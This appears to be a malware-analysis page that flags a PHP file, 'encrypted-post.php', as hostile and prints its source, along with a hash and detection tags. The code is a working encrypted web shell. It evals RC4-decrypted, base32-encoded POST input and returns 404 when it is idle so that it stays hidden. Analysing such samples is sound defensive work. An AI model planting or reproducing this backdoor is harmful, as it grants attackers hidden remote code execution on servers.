Hostile 100% php Download

encrypted-post.php

Request eval co-occurs with decryptionRequest execution co-occurs with HTTP 404
SHA-256cc5754c9373e3094111f93c57d4ad48b6242efedf71f5bb889ab2e8fa30f8fb0

Evidence

PHP eval argument contains HTTP request input lines 1–48
1<?php
2function transform($key, $data) {
3 $s = range(0, 255);
4 $j = 0;
5 for ($i = 0; $i < 256; $i++) {
6 $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
7 $t = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $t;
8 }
⋯4 lines
13 $j = ($j + $s[$i]) % 256;
14 $t = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $t;
15 $out .= chr(ord($data[$n]) ^ $s[($s[$i] + $s[$j]) % 256]);
16 }
17 return $out;
18}
19function unframe($text) {
20 $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
21 $bits = 0; $count = 0; $out = '';
22 foreach (str_split(rtrim($text, '=')) as $char) {
23 $value = strpos($alphabet, $char);
24 if ($value === false) { continue; }
25 $bits = ($bits << 5) | $value; $count += 5;
26 if ($count >= 8) { $count -= 8; $out .= chr(($bits >> $count) & 255); }
27 $bits &= (1 << $count) - 1;
28 }
29 return $out;
30}
31function frame($text) {
32 $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
33 $bits = 0; $count = 0; $out = '';
34 foreach (str_split($text) as $char) {
35 $bits = ($bits << 8) | ord($char); $count += 8;
36 while ($count >= 5) { $count -= 5; $out .= $alphabet[($bits >> $count) & 31]; }
37 $bits &= (1 << $count) - 1;
38 }
39 if ($count) { $out .= $alphabet[($bits << (5 - $count)) & 31]; }
40 return $out;
41}
42if (!isset($_POST['packet'])) {
43 http_response_code(404);
44 exit;
45}
46$key = pack('H*', '0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef');
47$result = @eval(transform($key, unframe($_POST['packet'])));
48if ($result !== null) { echo frame(transform($key, (string)$result)); }

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.